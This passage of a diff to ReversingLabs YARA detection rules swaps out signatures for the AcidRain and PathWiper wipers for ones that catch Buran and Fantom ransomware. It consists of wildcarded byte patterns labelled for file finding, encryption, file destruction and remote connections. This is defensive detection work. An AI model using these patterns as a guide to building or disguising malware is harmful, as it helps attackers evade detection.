?? ?? 5F 5E 5B 59 5D C2 ?? ?? 8B 4E ?? 57 E8 ?? ?? ?? + ?? 5F 5E 5B 59 5D C2 } - $find_first_file_snippet_5 = { - 56 8B F1 32 C9 57 C7 46 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 8B 38 E8 ?? ?? ?? ?? 8B D0 85 D2 74 ?? 33 C0 B9 ?? ?? ?? ?? 83 FF ?? 0F 4C C8 51 50 - 50 8D 46 ?? 50 33 C0 83 FF ?? 0F 9D C0 50 FF 76 ?? FF D2 + $remote_connection_p3 = { + 55 8B EC 83 EC ?? 56 57 6A ?? 8B F2 8B F9 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 45 + ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? 56 57 FF 15 ?? ?? ?? ?? 8B 75 ?? 8B C8 8B D6 E8 + ?? ?? ?? ?? 8B 0E 8B F8 83 F9 ?? 75 ?? 68 ?? ?? ?? ?? EB ?? 81 F9 ?? ?? ?? ?? 75 ?? + 68 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 FF 74 ?? 5F 83 C8 ?? 5E 8B E5 5D C3 } condition: - uint16( 0 ) == 0x5A4D and ( any of ( $resolve_api_wrapper_* ) and any of ( $find_first_file_snippet_* ) ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( all of ( $remote_connection_p* ) ) } -rule REVERSINGLABS_Linux_Trojan_Acidrain : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Buran : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects AcidRain trojan." + description = "Yara rule that detects Buran ransomware." author = "ReversingLabs" - id = "802c7eb7-d407-5b07-a6b4-4648d3ad80e9" - date = "2024-05-10" - modified = "2024-05-10" + id = "c2a36a8b-5c21-5c31-994d-b424c038dd21" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Linux.Trojan.AcidRain.yara#L1-L67" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Buran.yara#L1-L91" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5b47a0de8bda09d217f8a148e561f3da7ce4945f011f4a9b5dbbca88157d3080" + logic_hash = "5606e0acecd99ccf2feaa995353211302903a09bb2c4ec65903566215e2d5ca4" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Trojan" - tc_detection_name = "AcidRain" + tc_detection_type = "Ransomware" + tc_detection_name = "Buran" tc_detection_factor = 5 importance = 25 strings: - $destroy_files_using_ioctls = { - 55 89 E5 57 BF ?? ?? ?? ?? 56 53 81 EC ?? ?? ?? ?? 89 7C 24 ?? 8B 45 ?? 89 04 24 E8 - ?? ?? ?? ?? 85 C0 89 C3 78 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D - C3 8D 45 ?? BE ?? ?? ?? ?? 89 44 24 ?? 89 74 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 4D ?? - 8B 55 ?? C7 45 ?? ?? ?? ?? ?? 85 C9 89 55 ?? 74 ?? 8D 75 ?? 8D B6 ?? ?? ?? ?? 8D BF - ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 74 24 ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? B8 ?? ?? - ?? ?? 89 74 24 ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 01 D0 39 45 - ?? 89 45 ?? 77 ?? 81 FA ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? C7 45 - ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 75 ?? EB ?? 31 C9 89 4C 24 ?? 8B 45 ?? 89 - 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 7C 24 ?? 89 1C 24 89 44 24 ?? E8 - ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 01 D0 39 45 ?? 89 45 ?? 76 ?? B8 ?? ?? ?? ?? 89 74 24 - ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 74 24 ?? 89 44 24 ?? 89 1C - 24 E8 ?? ?? ?? ?? 80 7D ?? ?? 75 ?? A1 ?? ?? ?? ?? 89 7D ?? 89 45 ?? 8B 45 ?? 89 45 - ?? 8D 45 ?? 89 44 24 ?? B8 ?? ?? ?? ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 55 ?? - 8B 45 ?? 01 D0 39 45 ?? 89 45 ?? 77 ?? 8D 74 26 ?? 8D BC 27 ?? ?? ?? ?? 31 FF 89 1C - 24 E8 ?? ?? ?? ?? 31 C0 89 44 24 ?? 89 7C 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 75 ?? C7 - 45 ?? ?? ?? ?? ?? 85 F6 74 ?? 8D 75 ?? 8D 76 ?? B9 ?? ?? ?? ?? 89 74 24 ?? 89 4C 24 - ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 01 D0 39 45 ?? 89 45 ?? 77 ?? 89 1C 24 - E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D C3 + $find_files = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D + ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? + 89 5D ?? 89 5D ?? 88 8D ?? ?? ?? ?? 88 95 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? E8 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF + 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? + ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 + C0 5A 59 59 64 89 10 E9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? + ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? + 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 + C0 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 + 74 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 33 C9 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 33 C0 5A 59 59 + 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 } - $destroy_files_using_overwrite = { - 55 89 E5 83 EC ?? 89 5D ?? 8B 5D ?? 8D 45 ?? 89 75 ?? 89 7D ?? C7 45 ?? ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 5D ?? 8B 75 - ?? 8B 7D ?? 89 EC 5D C3 + $encrypt_files = { + 53 56 57 55 BB ?? ?? ?? ?? BF ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 83 3F ?? 74 ?? 8B 07 89 + C6 33 C0 89 07 FF D6 83 3F ?? 75 ?? 83 3D ?? ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 33 C0 A3 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 33 C0 89 + 43 ?? E8 ?? ?? ?? ?? 80 7B ?? ?? 76 ?? 83 3D ?? ?? ?? ?? ?? 74 ?? 8B 7B ?? 85 FF 74 + ?? 8B C7 E8 ?? ?? ?? ?? 8B 6B ?? 8B 75 ?? 3B 75 ?? 74 ?? 85 F6 74 ?? 56 E8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? FF 53 ?? 80 7B ?? ?? 74 ?? E8 ?? ?? ?? ?? 83 3B + ?? 75 ?? 83 3D ?? ?? ?? ?? ?? 74 ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 8B 03 8B F0 8B FB B9 ?? ?? ?? ?? F3 A5 E9 ?? ?? ?? ?? 5D 5F 5E 5B C3 A3 } - $redundant_reboot_attempts = { - C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F - 84 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 85 C0 0F - 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 8D 76 ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04 - 24 E8 ?? ?? ?? ?? 31 D2 83 C4 ?? 89 D0 59 5B 5E 5F 5D 8D 61 ?? C3 + $remote_connection_p1 = { + 55 8B EC 81 C4 ?? ?? ?? ?? 50 83 C4 ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? + ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 5D ?? 8B D9 89 55 ?? 89 + 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF + 30 64 89 20 8B C3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 89 45 + ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 BE ?? ?? + ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? + ?? 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? B8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 6A ?? 56 6A ?? 6A ?? 6A ?? 8B 45 ?? E8 + } + $remote_connection_p2 = { + 50 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 + ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C9 B2 ?? A1 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 95 ?? ?? ?? ?? B8 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? + ?? 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 75 ?? 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 45 ?? + E8 ?? ?? ?? ?? 8B 45 ?? 8B 70 ?? 85 F6 74 ?? 83 EE ?? 8B 36 68 ?? ?? ?? ?? 56 8B 45 + ?? 8B 40 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B + 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 EB ?? 83 7D ?? ?? 74 ?? 8D 95 ?? + ?? ?? ?? 8B 4D ?? 8B 45 ?? 8B 30 FF 56 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? + B9 ?? ?? ?? ?? 8B 45 ?? 8B 30 FF 56 ?? 8B C3 8B 55 ?? 8B 52 ?? E8 ?? ?? ?? ?? 33 C0 + 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C3 E9 } condition: - uint32( 0 ) == 0x464C457F and ( $destroy_files_using_ioctls ) and ( $destroy_files_using_overwrite ) and ( $redundant_reboot_attempts ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( all of ( $remote_connection_p* ) ) } -rule REVERSINGLABS_Win32_Trojan_Pathwiper : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Fantom : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects PathWiper trojan." + description = "Yara rule that detects Fantom ransomware." author = "ReversingLabs" - id = "8d6b0443-405c-55c1-8f19-0a60cc3f6f43" - date = "2025-08-26" - modified = "2025-08-26" + id = "cd32de8b-2c14-5fb4-be79-365d9848f341" + date = "2021-08-12" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.PathWiper.yara#L1-L280" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Fantom.yara#L1-L97" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d439cb7c369405f3938d856e1ad92b47889d0f0cad45f718a8d0c86dd7f5a461" + logic_hash = "f2aaa9776b7ca302052b3303d45df24cc151a4efc7ea9f4bb3c1f53d10ded03a" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Trojan" - tc_detection_name = "PathWiper" + tc_detection_type = "Ransomware" + tc_detection_name = "Fantom" tc_detection_factor = 5 importance = 25 strings: - $find_volumes_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 7D ?? 33 F6 89 BD ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 89 75 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 75 ?? 89 37 - 89 77 ?? 89 77 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B - CA 49 80 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 0F 1F 44 00 ?? 80 BD ?? ?? ?? ?? ?? 0F - 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 85 ?? - ?? ?? ?? 80 BC 0D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 0F 83 ?? ?? ?? - ?? C6 84 0D ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 51 ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 1F 00 8A 01 41 84 C0 75 ?? 2B - CA 8D 85 ?? ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 39 B5 ?? ?? - ?? ?? 74 ?? 0F 10 85 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? C7 46 ?? ?? ?? - ?? ?? 0F 11 06 C6 85 ?? ?? ?? ?? ?? F3 0F 7E 85 ?? ?? ?? ?? 66 0F D6 46 ?? 83 C6 - } - $find_volumes_p2 = { - 89 B5 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 50 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - B5 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 50 - ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? - ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? - ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 - 41 84 C0 75 ?? 2B CA 49 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 07 8B 85 ?? ?? ?? ?? 89 77 ?? 89 47 ?? 8D 8D ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C7 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? - 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $find_files_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 33 F6 89 B5 ?? ?? ?? ?? - 50 8D 8D ?? ?? ?? ?? 89 75 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B - BD ?? ?? ?? ?? 83 FA ?? 8B 8D ?? ?? ?? ?? 0F 43 C7 C6 45 ?? ?? 80 7C 01 ?? ?? 75 ?? - 49 8D 85 ?? ?? ?? ?? 83 FA ?? 89 8D ?? ?? ?? ?? 0F 43 C7 C6 04 08 ?? 6A ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? 83 C4 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 89 08 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 - 0F 84 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 33 C0 03 D1 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 09 - 85 C9 74 ?? 8B 01 4A 85 C0 74 ?? 8B 00 85 C0 74 ?? 8B 00 85 C0 74 ?? 8B 00 EB ?? 33 - C0 8B 48 ?? 8B 40 ?? 49 23 CA C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 04 88 89 - 85 ?? ?? ?? ?? 83 78 ?? ?? 8B 78 ?? 89 BD ?? ?? ?? ?? 72 ?? 8B 00 89 85 ?? ?? ?? ?? - 83 FF ?? 73 ?? 0F 10 00 89 7D ?? C7 45 ?? ?? ?? ?? ?? 0F 11 45 ?? 8B 7D ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B C7 B9 ?? ?? ?? ?? 83 C8 ?? 3D ?? ?? ?? ?? 0F - 47 C1 89 85 ?? ?? ?? ?? 8D 48 ?? 81 F9 ?? ?? ?? ?? 72 ?? 8D 41 ?? 3B C1 B9 ?? ?? ?? - ?? 0F 46 C1 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 78 ?? 83 E7 ?? 89 - } - $find_files_p2 = { - 47 ?? EB ?? 85 C9 74 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 EB ?? 33 FF 8B 85 ?? ?? ?? - ?? 40 89 7D ?? 50 FF B5 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 89 - 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? - 8D 4D ?? 83 C0 ?? C6 45 ?? ?? 83 CE ?? C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? - C6 45 ?? ?? 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 45 ?? 8B 8D ?? - ?? ?? ?? 51 0F 43 C7 8D 4D ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? - ?? ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? - 8B 55 ?? 83 E6 ?? 89 85 ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 - FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 - 51 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C6 45 ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? - 80 BD ?? ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 75 ?? 8A 85 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? - ?? 3C ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? - 74 ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? 8D 50 ?? C6 85 ?? ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 2B C2 8D 8D ?? ?? ?? - ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 CE ?? C6 45 ?? ?? 89 B5 ?? ?? ?? ?? 8D - } - $find_files_p3 = { - 4D ?? 8B 75 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 46 ?? 50 E8 - ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 56 0F 43 45 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D - 4D ?? E8 ?? ?? ?? ?? 8B 7D ?? 8B C7 8B 4D ?? 2B C1 8B 55 ?? 8B 75 ?? 3B D0 76 ?? 8B - C6 2B C2 3B C1 72 ?? 83 FF ?? 8D 45 ?? 51 0F 43 45 ?? 8D 8D ?? ?? ?? ?? 50 6A ?? E8 - ?? ?? ?? ?? EB ?? 83 FE ?? 8D 85 ?? ?? ?? ?? 52 0F 43 85 ?? ?? ?? ?? 8D 4D ?? 50 E8 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 10 00 0F 11 45 ?? F3 0F 7E - 40 ?? 66 0F D6 45 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C6 00 ?? 8B B5 ?? ?? - ?? ?? 83 E6 ?? 83 CE ?? 8B 55 ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA - ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 - E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 55 - ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B - 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 - ?? F6 85 ?? ?? ?? ?? ?? 8B 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? - ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8D - 95 ?? ?? ?? ?? 52 8D 55 ?? 52 8B 40 ?? FF D0 84 C0 0F 84 ?? ?? ?? ?? 80 7D ?? ?? 0F - 84 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 42 ?? 3B C8 77 ?? 6A ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 49 - } - $find_files_p4 = { - 23 C1 89 85 ?? ?? ?? ?? 03 C2 23 C1 8B 8D ?? ?? ?? ?? 8D 3C 85 ?? ?? ?? ?? 83 3C 0F - ?? 75 ?? 6A ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C4 ?? 89 04 0F 8B 8D ?? ?? ?? ?? - 8B 0C 0F 8D 45 ?? 50 E8 ?? ?? ?? ?? FF 85 ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 85 - C9 0F 84 ?? ?? ?? ?? 8B 01 8D 95 ?? ?? ?? ?? 52 8D 55 ?? 52 FF 50 ?? 8B 55 ?? C6 45 - ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B - C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? - ?? 8D 85 ?? ?? 